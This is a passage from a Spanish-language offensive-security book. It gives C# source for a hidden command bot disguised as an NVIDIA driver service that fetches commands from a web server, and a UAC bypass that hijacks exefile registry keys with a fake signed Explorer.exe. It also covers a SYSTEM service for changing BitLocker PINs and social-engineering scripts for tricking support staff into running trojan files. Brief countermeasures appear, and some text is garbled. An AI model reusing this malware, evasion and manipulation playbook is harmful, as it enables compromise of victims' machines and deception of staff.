using System; using System.Collections.Generic; using System.Text; using System.Windows.Forms; using System.IO; using System.Threading; using System.Reflection; using System.Net; using System.Diagnostics;

[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")] [assembly:AssemblyVersion("7.17.13.697")] [assembly:AssemblyDescription("Driver Helper Service, Version 302.57")] [assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

namespace robot {

class Program { static string ruta = "http://localhost/test/cmd.txt"; static string AntiguoCommand = ""; static Form f1 = new Form();

static void Main(string[] args) { f1.Name = "NVIDIA Driver Helper Service"; f1.ShowInTaskbar = false; f1.Hide(); System.Timers.Timer minutero1 = new System.Timers.Timer(); minutero1.Enabled = true; minutero1.Interval = 5000; // 5 seg minutero1.Elapsed += minutero1_action; Thread th = new Thread(minutero1.Start);

Para probar el programa, descargue un fichero de texto que contenga los comandos en el sitio web definido en el programa. Ejecute seguidamente el programa.

3. Compilar la aplicación

Nuestra aplicación es de tipo Windows Forms invisible. El parámetro target será por lo tanto winexe. Abra una ventana de comandos y acceda al directorio del framework para escribir el siguiente comando:

csc.exe /out:c:\temp\robot.exe /target:winexe c:\temp\robot.txt Para usar el programa, cree un sitio web y cargue el texto. Compile el programa con la dirección del comando. Haga que la víctima instale el programa. El equipo objetivo estará a su servicio. Para hacerle ejecutar un comando, basta con cargar un nuevo fichero de texto en el sitio web.

Esquivar la seguridad de la UAC Desde Windows Vista, la UAC protege a los usuarios que tienen permisos de administrador en su equipo. En cuanto una aplicación o un comando se ejecuta, tiene por defecto privilegios de usuario aunque el usuario sea administrador de su equipo. El hecho de pedir al usuario ejecutar una aplicación con privilegios elevados resulta muy sospechoso. Vamos a desarrollar una aplicación capaz de instalarse con solo permisos de usuario y que se ejecutará con privilegios de administrador. Deberemos crear para eso un ejecutable capaz de arrancar otra aplicación con los parámetros de consent.exe (consent.exe es la aplicación de sistema que usa la UAC). Deberá parecerse a un programa conocido para que el usuario no le preste atención. Ocultaremos, por lo tanto, nuestro programa en Explorer.exe. Firmaremos el programa y así será reconocido como de confianza gracias a la instalación del certificado raíz en el equipo de la víctima.

1. Principios básicos

Empecemos por el programa. La parte importante del código es la siguiente. El resto del código se parece a los ejemplos anteriormente propuestos:

try { String Command = Environment.CommandLine; String[] arguments = Command.Split(’=’); String ProcessArgs = ""; Process p = new Process(); p.StartInfo.FileName = arguments[1]; if (arguments[2].Length > 2) p.StartInfo.Arguments = arguments[2];

p.Start();

//Aquí su código } catch { } Acuérdese de añadir el código necesario para que el nombre y el título del programa sea reconocido como el explorador de Windows. Puede hacerlo añadiendo las propiedades del assembly:

[assembly:AssemblyTitle("Explorador Windows")] [assembly:AssemblyVersion("6.2.9200.16433")] [assembly:AssemblyDescription("Explorador Windows")] [assembly:AssemblyCompany("Microsoft")] utiliza Visual Studio, indique lo siguiente en las propiedades de su proyecto:

Si

2. Extraer los iconos de una aplicación

Al compilar, acuérdese de añadir el icono del explorador para que resulte más discreto. Para extraer los iconos de una aplicación, utilice el programa de Nirsoft, Resources Extract. Lo encontrará en el siguiente enlace: http://www.nirsoft.net/utils/resources_extract.html

Indique la ruta Windows\*.exe como la fuente y dé un directorio de destino. Elija únicamente los iconos como tipo de recursos.

Ahora dispone de opciones para elegir el icono. Le aconsejamos explorer_ICO_MYCOMPUTER.ico, que es el utilizado por Explorer.exe.

3. Firmar el código

Para que su aplicación sea reconocida como de confianza por Windows, debe firmarla con un certificado de tipo Code Signing reconocido por el almacén de certificados del usuario. La firma de un ejecutable se hace con la herramienta Signtool.exe. Se instala con Visual Studio.

Deberá pedir un certificado de firma de código a su autoridad de certificación. La solicitud sigue los mismos pasos que la de un certificado web, que hemos visto en el capítulo Extraer, romper, cambiar una contraseña, en el apartado ¿Cómo recuperar una contraseña desde la red? - Introducción a los certificados y a HTTPS. Una vez el certificado recibido e instalado, ábralo y copie la línea Huella digital.

Arranque la consola de Visual Studio y ejecute el siguiente comando reemplazando, en los parámetros, lo indicado por sus propios datos.

signtool sign /d "Explorador Windows" /sha1 90c856875331881f1f97e9dbe8c8636ce8b79fda c:\temp\explorer.exe resultado se parece al presentado en la siguiente imagen:

Si abre las propiedades de la aplicación, constatamos que la pestaña Firmas digitales ha sido añadida.

4. Trucar la aplicación para la víctima Cree un fichero de registro Start.reg que ejecutará su aplicación:

El

Windows Registry Editor Version 5.00 HKEY_CURRENT_USER\Software\Classes\exefile]

La

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon] @="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command] @="\"%1\" %*" "IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command] @="\"%1\"%*" "IsolatedCommand"="%appdata%\\Microsoft\\Windows\\explorer.exe =\"%1\"=\"%*\"" última línea contiene la ruta donde el sistema intentará ejecutar su aplicación. El resultado en el registro debe parecerse a la siguiente imagen:

Cree el fichero start.bat con los comandos siguientes:

reg import start.reg xcopy explorer.exe %appdata%\Microsoft\Window\ /y wscript.exe Certutil.vbs importante que la ruta de destino de nuestra aplicación tenga permisos de escritura para el usuario.

Es

Certutil.vbs se explica en el capítulo Extraer, romper, cambiar una contra-seña, en el apartado ¿Cómo recuperar una contraseña desde la red? - Introducción a los certificados y a HTTPS.

Añada los siguientes ficheros a su aplicación trampa:

Root.cer Start.reg Certutil.vbs Start.bat Explorer.exe AplicacionNormal.exe Compile la aplicación como en el capítulo Tomar el rol de administrador o de sistema, en el apartado - Trucar una aplicación con las herramientas integradas en Windows.

El usuario objetivo podrá ejecutar los scripts de instalación de la aplicación trampa con solamente sus privilegios de usuario. Una vez la trampa puesta en marcha, en cuanto el usuario use sus permisos de administrador para ejecutar una aplicación o instalar un programa, nuestra aplicación se ejecutará, ella también con permisos de administrador. Esto significa que acabamos de esquivar la UAC, ya que, instalando una aplicación con permisos de usuario, podemos ejecutar nuestro programa con privilegios de administrador, todo esto con discreción.

Esto no funcionará si el usuario hace clic en Ejecutar como otro usuario, ya que, en este caso, serán las informaciones a nivel del equipo las que se usarán. Pero con un keylogger, podrá disponer de estas informaciones. Si un usuario ejecuta un fichero bat en vez de un ejecutable para arrancarlo con privilegios de administrador, entonces es la extensión del fichero la que se debe modificar en el registro para que nuestro programa funcione. Solo hemos modificado el funcionamiento de los ficheros exe con la ayuda de la clase exefile. Para un script bat, debe proceder de la misma manera con la clase batfile. Y así si va a utilizar otra extensión.

5. Probar las modificaciones

El resultado es muy interesante. Si hacemos clic en una aplicación, no pasa nada. Pero si se ejecuta una aplicación que necesite privilegios elevados o un usuario elige ejecutar un software en este modo, el mensaje de confirmación es diferente de lo habitual; el icono y el título que se muestran son siempre los del explorador de Windows, sin importar la aplicación arrancada.

Al ejecutar el programa normal (sin la trampa) con permisos de administrador, vemos el nombre y el icono de la aplicación que se va a ejecutar. En el ejemplo siguiente, se trata de la ventana de comandos CMD.

Después de las modificaciones, es el icono del explorador de Windows el que se muestra. El escudo de seguridad es también diferente. Pero estos detalles no chocan en absoluto al usuario poco atento.

La diferencia reside en la aplicación ejecutada y su certificado.

Acaba de ver cómo se puede rodear la seguridad de la UAC. Finalmente no ha resultado tan complicado. Si desea aumentar la discreción del ataque, no puede basarla en la extensión exefile que afecta a todos los ejecutables, sino modificar una extensión como mscfile, que gestiona los ficheros de la consola MMC, o también batfile para los ficheros bat. Así podrá elegir el icono que corresponde realmente a la aplicación.

Cambiar el código PIN BitLocker con permisos de usuario Desde Windows Vista, Microsoft permite cifrar el disco duro completo de un equipo con BitLocker. La clave de cifrado está almacenada en un chip TPM o en una llave USB. Los datos no se pueden modificar offline. Pero todavía es posible arrancar el sistema y atacar los servicios expuestos. Para paliar esto, Microsoft permite añadir un código PIN que no se guarda en el equipo. El usuario puede definirlo y sin este código el sistema no arranca. En apariencia, es un buen sistema, pero hace falta que el usuario sea administrador para poder cambiarlo, lo que para nosotros es una pena. Crearemos una aplicación que, una vez instalada, permitirá a un usuario sin privilegios de administrador cambiar el código PIN de BitLocker.

1. Principios básicos

Vamos a crear un servicio de Windows que se ejecutará con permisos de sistema y se encargará de cambiar el PIN en el lugar del usuario. Además, haremos una aplicación donde el usuario podrá introducir el código PIN y será enviado al servicio.

Para crear un servicio, nuestra clase debe heredar de ServiceBase.

public partial class Servicio1 : ServiceBase

Los

métodos principales obligatorios llamados por el sistema son Start y Stop:

protected override void OnStart(string[] args) { }

protected override void OnStop() { } Para la comunicación entre el servicio y la aplicación de usuario, utilizaremos los Named Pipes, lo que significa que comunicaremos los dos procesos usando la memoria del sistema: un medio simple, rápido y eficaz.

Encontrará más información sobre los Named Pipes en el sitio web de Microsoft:http://msdn.microsoft.com/enus/library/bb546085.aspx

El servicio debe escuchar y esperar que se le envíe un nuevo código PIN.

NamedPipeServerStream Escucha = new

Por

NamedPipeServerStream("\\\\.\\pipe\\PinSetting", System.IO.Pipes.PipeDirection.InOut,2); StreamReader lector = new StreamReader(Escucha); while(true) { Escucha.WaitForConnection(); string PINCode; Escucha.WaitForPipeDrain(); PINCode = lector.ReadLine() } defecto, un Named Pipe no autoriza a un usuario con permisos inferiores a conectarse a un Pipeadministrador o de sistema. Por lo tanto, debemos modificar los permisos para autorizar a todos los usuarios del equipo a enviar un mensaje al servicio.

PipeSecurity seguridad = new PipeSecurity();

Si el

seguridad.AddAccessRule(new PipeAccessRule( @".\Users", PipeAccessRights.ReadWrite, AccessControlType.Allow)); equipo nunca ha tenido un código PIN, debemos crear uno.

Process p = new Process(); p.StartInfo.Arguments = "-protectors -add %systemdrive% -tpmandpin " + PINCode; p.StartInfo.FileName = "manage-bde.exe"; p.Start(); existe un código PIN, lo cambiamos con las siguientes líneas:

Si

Sin

Process p = new Process(); p.StartInfo.Arguments = "-changePin %systemdrive% " + PINCode; p.StartInfo.FileName = "manage-bde.exe"; p.Start();

saber de antemano si se ha definido un código PIN o no, ejecutaremos las líneas correspondientes a la creación de un código PIN y las correspondientes al cambio de un código PIN. Cubriremos así los dos casos.

Para enviar el código de la aplicación de usuario hacia el servicio de Windows, abrimos una conexión:

NamedPipeClientStream cliente = new NamedPipeClientStream("\\\\.\\pipe\\PinSetting"); StreamWriter Escribir = new StreamWriter(cliente); cliente.Connect(); Escribimos el PIN:

Escribir.WriteLine(SolicitudCodigo()); Esperamos una posible respuesta y cerramos la conexión.

cliente.WaitForPipeDrain(); cliente.Close(); Escribir.Close();

Crear un servicio de Windows

Este desarrollo consta, como habrá comprendido, de dos partes. La primera es un servicio de Windows. Cree un nuevo documento de texto con el nombre PIN-Service.txt. Añada el siguiente código:

2.

using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Diagnostics; using System.IO; using System.IO.Pipes; using System.ServiceProcess; using System.Text; using System.Threading; using System.Security.AccessControl;

namespace PIN_service { public partial class Servicio1 : ServiceBase { public Servicio1() {

}

protected override void OnStart(string[] args) { Thread t = new Thread(new ThreadStart(Servidor)); t.Start(); }

protected override void OnStop() { } static void Main() { ServiceBase[] ServicesToRun; ServicesToRun = new ServiceBase[]

Visual Studio Express no propone la creación de servicios de Windows. Sin embargo, es posible crearlos con esta herramienta; para ello, debe efectuar varias pequeñas operaciones. Debe añadir una referencia a System.Service- Process desde la gestión de referencias de Visual Studio. Después debe añadir Using System.ServiceProcess al inicio de su programa. Después su clase debe heredar de ServiceBase y declarar como mínimo las dos funciones siguientes: protected override void OnStart(string[] args) y protected override void OnStop(). Compile todo como una aplicación de consola y su servicio de Windows está listo para ser instalado (ver el código anterior).

3. Compilar e instalar un servicio de Windows

Para compilar el servicio, acceda al directorio del framework 3.5 o 4.5. La comunicación mediante memoria solo es soportada a partir del framework 3.5, el cual se instala por defecto en Windows 7. En Windows 8, utilice el 4.5.

C:\Windows\Microsoft.NET\Framework64\v3.5\ Csc /out:c:\temp\pin-service.exe c:\temp\pin-service.txt

Una vez la

compilación finalizada, se trata de instalar el servicio en el equipo. Para ello, prevea un paquete de instalación que copie el fichero en un directorio, y que lo instale en el equipo objetivo con el siguiente comando:

sc create pin-service binPath= C:\temp\pin-service.exe start= auto

Debe haber un espacio entre el signo igual y el parámetro.

4. Crear la aplicación cliente

La aplicación cliente nos permitirá enviar el código PIN al servicio. Se conecta al servicio, solicita un código PIN al usuario y lo envía para llevar a cabo el cambio de este. Cree un nuevo documento de texto y llámelo ChangePin.txt. Añada el siguiente código:

Le aconsejamos que escriba un programa más visual. El código anterior le permite sobre todo comprender los principios necesarios para la comunicación entre procesos que se ejecutan con distintos permisos.

5. Compilar la aplicación cliente

La compilación es del mismo estilo que las que ya hemos visto. Acceda al directorio del framework y compile el fichero fuente.

C:\Windows\Microsoft.NET\Framework64\v3.5\ Csc /out:c:\temp\ChangePin.exe c:\temp\ChangePin.txt Ahora puede probar la aplicación:

El servicio PIN-Setting debe estar arrancado para que pueda conectarse con el Named Pipe y así cambiar el código PIN.

Hemos visto cómo establecer una comunicación entre una aplicación de usuario y un servicio con permisos de sistema. Este tipo de relación permite escribir aplicaciones que otorgan permisos específicos al usuario para ejecutar tareas restringidas.

Contramedidas Una aplicación keylogger, de captura de pantalla, etc., compilada por un usuario no suele ser detectada por el antivirus. Debe impedir a los usuarios que compilen sus propios códigos; para esto, bloquee los compiladores presentes en los frameworks instalados en los equipos clientes creando una restricción de software de estas herramientas. El Framework .NET integra un compilador C#, un compilador VB y a veces un compilador J#. Asegúrese de que todos estos compiladores estén bloqueados para los usuarios finales, es decir: que debe bloquear los ficheros csc.exe, vbc.exe y jsc.exe. Acuérdese también de bloquear PowerShell, ya que es posible para un usuario utilizar objetos .NET dentro de PowerShell. Esto daría a sus scripts las mismas capacidades que una aplicación compilada. Puede asimismo prohibir la modificación de las claves del registro con una directiva de grupo. Preste atención a las claves de usuarios que permiten añadir una clase de fichero, arrancar una aplicación y a todas las claves que podrían comprometer sus sistemas.

Entender a la persona, sus necesidades y sus deseos

No existe un modelo específico para el análisis de la ingeniería social. Utilizaremos, por lo tanto, modelos de análisis de las personas adaptadas al marketing, a la gestión o a la psicología.

1. La toma de decisiones

El modelo de Kollat y Blackwell usado en marketing nos da una idea del funcionamiento de la toma de decisiones.

Esquema de la toma de decisiones extraído del Comportamiento del consumidor y del comprador, escrito por Nathalie Guichard, Régina Vanheems.

Algunas etapas de este proceso pueden ser controladas por el atacante; por ejemplo, la creación de un problema, la proposición de alternativas, lo que debería llevar a una decisión de acción adaptada a nuestro objetivo. Si el usuario recibe además una respuesta adaptada a su elección, la evaluación postacción será positiva y permitirá un nuevo ataque del mismo tipo.

Vamos a jugar con variables que nos permitirán mejorar las respuestas positivas a nuestros ataques: •

La consideración de las necesidades del usuario.



Un problema o una proposición adaptada.



Informaciones complementarias al problema propuesto.



Un intervalo de tiempo que no permita una gran búsqueda de información.



Alternativas que respondan perfectamente al problema.



Una respuesta positiva al usuario sobre la elección de su acción.

Poniendo en marcha estas bases de marketing, un ataque por ingeniería social tendrá más oportunidades de llegar a un resultado satisfactorio.

2. Entender al usuario

El objetivo es hacer picar el usuario. El atacante deberá reflejar lo mejor posible las necesidades y los deseos de la víctima. Para entender y contactar mejor con el usuario, existen técnicas de comunicación como la PNL (programación neurolingüística). Según los expertos en este dominio, se puede definir como un estudio y modelización de estructuras subjetivas de la experiencia humana. Para entender mejor los entresijos, debemos comprender y asimilar las premisas o los postulados de la PNL. Entre las premisas más significativas de la PNL, encontramos que «el hábito no hace al monje». Es decir, que cada uno de nosotros ve e interpreta las

informaciones que recibe del exterior según sus propias referencias. La realidad es diferente para cada uno y trabajamos con una imagen de esta realidad. Es lo que se llama una representación subjetiva de la realidad.

En la ayuda de la acción y de la decisión, otros postulados resultan interesantes para nosotros, por ejemplo: «Siempre optamos por la mejor opción en una situación dada teniendo en cuenta la información que poseemos». Lo que significa que, en el momento de nuestra elección, hacemos lo mejor para noso-tros mismos, en relación con la subjetividad de nuestra realidad.

Como atacante, debe comprender el mundo de su objetivo, acotar o por qué no, crear sus necesidades, ayudarle a decidirse priorizando una solución que le hayamos propuesto y, al final, hacerle la experiencia positiva. Si la experiencia entregada a un usuario es negativa, los futuros ataques tendrán más probabilidades de fracaso. Además, podría transmitir sus malas sensaciones a otros futuros objetivos. En caso contrario, si la experiencia es positiva, el usuario tendrá más probabilidad de colaborar de nuevo y además transmitir por él mismo el ataque a otros objetivos.

Las necesidades del usuario 1. El modelo de Maslow

El acto de la decisión es la convergencia entre una necesidad o un deseo y un elemento susceptible de satisfacerlo. Para comprenderlo, vamos a utilizar una base de gestión: la pirámide de Maslow.

Esta pirámide nos aporta informaciones interesantes sobre las necesidades primordiales. Las necesidades primarias, como las fisiológicas (la comida, la bebida, etc.); las necesidades de seguridad, como la conservación de una propiedad, poseer bienes, poder realizar cosas. Las necesidades de seguridad pueden ser un medio de presión o una herramienta para la curiosidad. Si el usuario cree que perderá su puesto de trabajo, buscará por todos los medios informaciones al respecto.

Las necesidades secundarias son igual de importantes, pero mucho más subjetivas. La pertenencia a un grupo, la necesidad de estima y la realización de uno mismo atañe a todo el mundo, pero en grados diferentes. Antes de usar esas necesidades, debe saber cuál es el más sensible para el objetivo.

2. El modelo de valor de inventario de Shalom Schwartz

El modelo de Maslow se explica con frecuencia; es muy simple, rápidamente comprendido y asimilado. Sin embargo, es limitado. En su creación Abraham Maslow solo tomó como muestra la población occidental que ya estaba predispuesta, lo que en nuestro caso no es tan relevante. En cambio, no tiene en cuenta los deseos del usuario y no es suficientemente preciso para deducir principios de manipulación social.

Los valores de inventario de Schwartz provienen de una investigación realizada sobre más de 60 000 personas. Esta investigación ha permitido identificar valores comunes que actúan como directrices de la vida de estas personas. Schwartz identificó y agrupó 56 valores en 10 tipos de valores. Estos grupos de valores se pueden usar para manipular a una persona. Cada uno de nosotros está más predispuesto a ser manipulado por uno u otro de estos valores.

Los valores de inventario de Shalom Schwartz son los siguientes:

Autonomía: independencia del pensamiento y de la acción: elegir, crear, explorar. La autonomía como valor está anclada en las necesidades vitales de control y de dominio. Una persona, para la cual la autonomía es importante, estará más alerta si está amenazada.

Estimulación: entusiasmo, novedad y desafío que realizar en la vida. Los valores de estimulación provienen de la necesidad vital de variedad, de cambio y de reto.

Hedonismo: placer o gratificación personal. Los valores de hedonismo provienen de las necesidades vitales del ser humano y del placer asociado a su satisfacción.

Éxito: el éxito personal obtenido gracias a la manifestación de competencias socialmente reconocidas. Ser competente en la creación o el acceso a recursos es una necesidad para la supervivencia de los individuos; es también indispensable para que los grupos o las instituciones puedan alcanzar sus objetivos.

Poder: estatus social de prestigio, control de recursos y dominación de las personas. El funcionamiento de instituciones sociales necesita aparentemente de un cierto grado de diferenciación de los estatus sociales. Una dimensión dominación/sumisión aparece en la mayoría de los análisis.

Seguridad: estar seguro, en harmonía y estabilidad con la sociedad, en las relaciones entre grupos e individuos y consigo mismo.

Conformidad: moderación de las acciones, de los gustos, de las preferencias y de los impulsos susceptibles de desestabilizar o dañar a los demás, o también quebrantar las expectativas o las normas sociales. Los valores de conformidad provienen de la necesidad de los individuos de inhibir sus deseos, que podrían contrariar o trabar el buen funcionamiento de las interacciones y del grupo.

Tradición: respeto, compromiso y aceptación de las costumbres e ideas sostenidas por la cultura o la religión a las cuales estamos ligados. En todas partes, los grupos desarrollan prácticas, símbolos, ideas y creencias que representan su experiencia y su destino común, y se vuelven así costumbres y tradiciones de grupo.

Bondad: conservación y mejora del bienestar de las personas con las cuales estamos en contacto habitualmente. Los valores de bondad provienen de la necesidad para el grupo de funcionar de manera harmoniosa y de la necesidad de aceptación del individuo como organismo. Las relaciones en el seno de la familia o de otros grupos son aquí cruciales. La bondad pone el acento sobre la preocupación por el bienestar de los demás.

Universalismo: comprensión, estima, tolerancia y protección del bienestar de todos y del entorno. Los valores de universalismo provienen de la necesidad de supervivencia de los individuos y de los grupos.

Todos estos valores pueden utilizarse para que la solución ideada por el atacante responda a uno o varios valores importantes para el usuario.

Técnicas de manipulación La decisión es el acto de realizar una elección para resolver un problema o un deseo. Se habla del proceso de decisión. Siempre será una elección entre varias soluciones posibles. La elección final se apoyará en un criterio de satisfacción, para estar lo más contento posible de la elección realizada. •

El responsable interpreta la situación a la cual se halla confrontado y determina el problema.



Decide y renuncia a las otras opciones.



Espera un feedback para guardar la respuesta de su experiencia.

La fase de resolución del problema es la más estudiada. Entraña generalmente la búsqueda de información, el análisis de las soluciones y la toma de decisiones. El proceso de decisión es más o menos racional. Para manipular una respuesta, debemos orientar el problema y la fase de resolución de este. En un contexto determinado, una persona puede ser manipulada para dar una respuesta que no tiene por qué estar alineada con lo que desea, pero que corresponderá a lo que se espera de ella. Por ejemplo, en el contexto de una entrevista de trabajo, el responsable de recursos humanos afirma: «El ambiente es familiar, nuestros consultores están muy interesados en el crecimiento de la empresa. Como prueba de ello, ¡no contabilizan sus horas!».Cuando llega al turno de preguntas y el responsable le pregunta qué opina de las horas extraordinarias, ¿qué le contesta? Podemos poner nuestra mano en el fuego que su respuesta estará en línea con la opinión del entrevistador. Sin embargo, ¿a quién le gustan realmente las horas extraordinarias?

1. Las sugestiones verbales

La PNL, así como la hipnosis ericksoidiana, utilizan técnicas de manipulación verbal que se dirigen hacia el subconsciente más que a la parte consciente de nuestro cerebro. Esta práctica se denomina sugestión. La sugestión no es negativa en sí; solo es negativa si se utiliza con fines malos. En nuestro contexto, la utilizaremos para sugerir una elección con fines de pirateo; no cabe duda de que existen usos más positivos.

Los diferentes tipos de sugestión verbal están expuestos a continuación.

1. Una secuencia de aceptación es una serie de hechos indiscutibles seguidos de una proposición poco discutible, por ejemplo, «Dado que disponemos del contrato y que estamos de acuerdo con él, vamos a firmarlo».

2. En las sugestiones activadoras, las cosas se presentan de forma más ligera, lo que permite elegir. Pero la respuesta lógica que se impone es la incluida en la pregunta. Ejemplo: «Ya que es viernes y que son las 16 h, ¿igual podríamos dejarlo aquí?».

3. En las sugestiones indirectas, las cosas se presentan indirectamente. Ejemplo: «No le voy a decir que las horas extraordinarias son importantes, eso lo sabe. Y usted ¿qué opina?»

4. Las sugestiones indirectas por interrogación son una técnica muy usada por los comerciales. La pregunta no trata del tema principal, sino de un tema conexo, como en el siguiente ejemplo, donde la verdadera pregunta es: «¿Desea instalar un cortafuegos?», pero se transforma en: «¿Cuando piensa instalar un cortafuegos?». La instalación del cortafuegos está implícita, solo la fecha es objeto de la pregunta.

5. En el doble vínculo, dejamos una elección que no es más que un detalle, con respecto a lo que deseamos. La verdadera pregunta es: «¿Va a firmar?», pero se transforma en: «¿Sabe si va a firmar esta semana o prefiere dejar pasar el fin de semana antes?».

6. En los tópicos, tres o cuatro proposiciones evidentes pueden esconder la última proposición, que es aceptada como las otras. Por ejemplo: «Leyendo este libro hasta este punto, lo disfrutamos y lo aconsejamos a los amigos».

7. En las sugestiones negativas paradoxales, la elección parece posible y sin embargo realmente no existe. Ejemplo: «¿Ahora no resulta absolutamente indispensable prever la actualización?». Con palabras del calado de «absolutamente indispensable», la respuesta se orienta fuertemente hacia un sí. Cada vez que el cerebro se enfrenta a una frase de este estilo, debe construir su forma positiva para anularlo. Si le pido que no imagine aquí y ahora un conejo azul en sus rodillas. ¿Qué haría? ¿Ha imaginado ya este conejo?

Se habrá dado cuenta de que la formulación es tan importante como el contexto. Una buena formulación aumentará vertiginosamente los resultados positivos de sus ataques.

Creación de la fase de ataque Para crear un contexto favorable, podemos crear un ataque en varias fases. 1. Defina una necesidad o un deseo de la víctima apoyándose en la pirámide de Maslow o en el inventario de Schwartz. 2. Cree o use un problema partiendo de la necesidad o el deseo, como el riesgo de pérdida del puesto de trabajo, una oferta de un producto deseado, etc. (interpretación y definición del problema para el objetivo). 3. Dé al usuario informaciones para confirmar su problema y proporciónele una parte de la respuesta (búsqueda y recolección de informaciones para el objetivo). 4. Dé al usuario un medio eficaz para resolver su problema, lo que le dará una escapatoria controlada (la toma de decisión).

5. Tranquilice al usuario sobre la elección que ha hecho. Si el problema toca un tema sensible para el usuario, aprovéchese de esta fase para devolverle a un estado de tranquilidad (respuesta positiva).

1. Enviar un documento de Office trucado

Nuestro primer ejemplo será la apertura de un documento Office que contiene una macro para una persona con permisos de administrador de sistema o de soporte. Para estar seguro de que lo ejecutará, existen dos medios eficaces: •

Modifique el fichero existente, como una hoja de Excel o un documento de perfil o cualquier otra cosa que el objetivo seguramente vaya a abrir.



Cree un fichero que sea interesante para el objetivo, un informe de cuentas diarias, una lista de sitios webs bloqueados o una presentación de PowerPoint con una temática pertinente.

Por ejemplo:

1. Tome contacto con el equipo para saber sus nombres, un poco sus gustos y que vean quién es usted. Encuentre lo que les motiva en términos de necesidad o de deseos.

2. Todos los viernes, para darles ánimos, envíe un PowerPoint con una chica sexy o una ocurrencia divertida en viñetas.

3. Una vez enviado, tome contacto de forma informal (cafetería, pasillo, soporte informático, etc.) para efectuar una pequeña consulta, con el objetivo de asegurarse de que ha recibido el documento y sobre todo, de que lo haya abierto. En este momento debe saber si la necesidad o el deseo elegido es el correcto para su ataque.

4. Envíe una segunda presentación a la semana siguiente, pero con un script que simplemente va a copiar un fichero o escribir un log en alguna parte, algo que pueda controlar para asegurarse de que va a funcionar. Se trata de saber si el objetivo tiene los privilegios suficientes para el ataque y que nada será blo-queado.

5. El tercer viernes, el fichero PowerPoint estará trucado y tendrá, por lo tanto, acceso a todo lo que le puede interesar.

Le recordamos que es posible rodear la seguridad de las macros de un documento de Office bajo ciertas circunstancias. Vea el capítulo Tomar el rol de administrador o de sistema - Trucar un documento de Office.

2. Enviar una aplicación trampa

Ahora vamos a hacer que una persona de soporte técnico, con permisos suficientes, ejecute una aplicación o que directamente lo haga el administrador de sistema si la empresa es de tipo pyme.

Pero ¿cómo debe proceder para que una persona de soporte o un administrador de dominio ejecute la aplicación?

Para tener más posibilidades de que la instalación se lleve a cabo, debe respetar algunas reglas, que permitirán al soporte respetar sus valores de conformidad y de bondad: •

La aplicación debe ser de utilidad: ningún administrador va a instalar una aplicación ocasional o que no sea útil para la empresa.



La aplicación debe tener una licencia válida o ser gratuita: a los administradores de sistema no les gusta que las licencias no sea oficiales, que los programas sean piratas o que el software de pago no esté incluido en la previsión de gastos.



La aplicación debe tener una buena reputación: debe ser conocida, ya que el administrador instalará más fácilmente un programa que conoce.

Para responder a estos criterios y añadir un contexto favorable, veremos cómo se puede proceder para que el administrador ofrezca una buena cooperación.

1. Elija una aplicación que responda a las reglas mencionadas.

2. Cree un problema.

3. Haga que la futura aplicación resulte importante para su trabajo. Soporte satisfará de esta forma los valores de poder y realización (del inventario de los valores de Schwartz).

4. Aporte una solución al problema, si es posible que sea gratuita y fiable. Esto le ayudará a dirigir la toma de decisión cuando recoja informaciones para soporte.

5. Agradezca al servicio de soporte su ayuda rápida y eficaz. Haga que le llegue al equipo la respuesta positiva.

Vamos a tomar dos ejemplos aplicables preparando el terreno por correo electrónico o por teléfono.

La instalación de 7Zip:

1. La elección de la aplicación es 7zip, porque es gratuita, tiene buena reputación y nos va a ser necesaria.

2. Creo el problema: «He recibido un correo electrónico de un proveedor que contiene un fichero adjunto con extensión RAR»; los ficheros RAR no los abre Windows si no se instala una aplicación y la mayoría son de pago.

3. Hago que el problema sea importante y urgente para la empresa: «El fichero es importante, necesito poder abrirlo esta mañana para finalizar con este proveedor antes de dar por terminado nuestro contrato».

4. Propongo la solución: «El proveedor me ha mencionado 7zip para abrir ficheros RAR. Es gratuito y ya lo he descargado en el sitio oficial para haceros ganar un poco de tiempo. Sé que tenéis mucho trabajo. Espero que aun así podáis pasar esta mañana para instalármelo».

5. Dé las gracias como se debe al servicio de soporte.

La instalación de GIMP:

1. La elección de la aplicación es GIMP (programa de retoque fotográfico de software libre), ya que es gratuito, tiene una buena reputación y nos va a ser necesario.

2. Creo el problema: «Necesito retocar una imagen para un cliente y Paint no es suficiente» , Paint está integrado en Windows, pero tiene muy pocas prestaciones.

3. Hago que el problema sea importante y urgente para la empresa: «Debería tener el retoque para esta tarde o como máximo mañana por la mañana»

4. Propongo la solución: «Ya sé que se usa Photoshop, pero necesito hacer con frecuencia retoques de fotos. Preferiría que el coste de la licencia sea destinado al aumento de salario de los compañeros. Ya uso GIMP en casa, es gratuito y para mí es suficiente. Me lo he descargado desde el sitio web de GIMP. Si disponéis de un momento esta tarde, me salvaríais la vida.»

5. Dé las gracias como se debe al servicio de soporte.

Este tipo de escenario es muy sencillo y eficaz. Si desea llegar más lejos, puede preparar con más precisión su ataque buscando conocer mejor a las personas que deberá manipular. Cuanto más paciente sea y más informado esté, más probabilidades de éxito tendrá su ataque.

Contramedidas En el caso de una manipulación, solo puede ser eficaz la sensibilización de los usuarios y de las personas encargadas del soporte. Piense en organizar sesiones de formación para los usuarios en plantilla, pero también agregue este proceso de formación a los nuevos empleados de la empresa.

Superar las políticas de grupo

1. Principio de las políticas de grupo

